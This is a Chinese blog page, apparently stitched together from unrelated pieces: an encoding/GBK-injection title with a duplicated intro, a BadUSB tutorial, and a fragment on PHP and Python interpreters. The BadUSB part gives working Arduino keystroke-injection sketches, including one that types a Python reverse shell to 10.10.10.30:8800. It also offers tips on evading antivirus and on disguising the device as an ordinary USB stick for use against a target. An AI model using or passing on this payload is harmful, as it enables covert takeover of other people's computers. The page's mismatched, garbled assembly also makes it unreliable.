深入理解字符编码以及 GBK 注入
以前对 UTF-8, UTF-16, unicode, GBK, ASCII 之类的都是一知半解, 其实深入之后了解这些并不困难.
以前对 UTF-8, UTF-16, unicode, GBK, ASCII 之类的都是一知半解, 其实深入之后了解这些并不困难.
板子用的beetle usb atmega32u4
自带usb接口,比较便宜,以前看过多款badusb的板子,但是都因为比较贵而放弃,直到前两天hx说了这个板子也可以,于是果断下单。
板子类型选择arduino leonardo,编译上传即可
上手试玩代码很简单,一看就懂。
windows弹计算器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(2000); Keyboard.press(KEY_LEFT_GUI); delay(50); Keyboard.press('r'); delay(50); Keyboard.release(KEY_LEFT_GUI); Keyboard.release('r'); delay(50); Keyboard.println("calc"); delay(50); Keyboard.press(KEY_RETURN); Keyboard.release(KEY_RETURN); delay(50); } void loop() { // put your main code here, to run repeatedly: } ubuntu 开终端 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(2000); /* Keyboard.press(KEY_LEFT_CTRL); delay(500); Keyboard.press(KEY_LEFT_ALT); delay(500); Keyboard.press('T'); delay(500); Keyboard.release('T'); */ Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.release(KEY_LEFT_GUI); delay(500); Keyboard.println("term"); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); Keyboard.println("echo hacked"); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); delay(50); } void loop() { // put your main code here, to run repeatedly: } ubuntu反弹shell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <Keyboard.h> void setup() { // put your setup code here, to run once: Keyboard.begin(); delay(2000); /* Keyboard.press(KEY_LEFT_CTRL); delay(500); Keyboard.press(KEY_LEFT_ALT); delay(500); Keyboard.press('T'); delay(500); Keyboard.release('T'); */ Keyboard.press(KEY_LEFT_GUI); delay(500); Keyboard.release(KEY_LEFT_GUI); delay(500); Keyboard.println("term"); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); Keyboard.println("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.10.30\",8800));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);' "); delay(500); Keyboard.press(KEY_RETURN); delay(500); Keyboard.release(KEY_RETURN); delay(50); } void loop() { // put your main code here, to run repeatedly: } 跋代码异常简单,执行过程也毫不隐蔽,难点在于如何把做好的板子插到目标设备上 :)
模拟的键盘设备,试过了5台电脑,其中三台win10有杀软,两台ubuntu,全部正常运行,没有遇到拦截的情况。
如果有恶意命令,可能会被拦截,似乎火绒会拦截命令行创建用户的命令
板子模拟键盘操作关掉杀软也是可以的 :) 然而暂时没想到如何用键盘快捷键关掉杀软。在执行过程中模拟点击允许该程序执行、同意UAC可能也是可以的。
淘宝上这款板子有的是带壳子的,外观就是一个普通的优盘。如果实战使用的话可能更好。
Les1ie
2019年8月7日09:35:43
PHP 类似于 python 也是运行在解释器上的, PHP 的叫 zend, python 的叫 cpython,
这些都是官方实现, 像 python 也有 jython, pypy 啥的, 用其他语言写的解释器.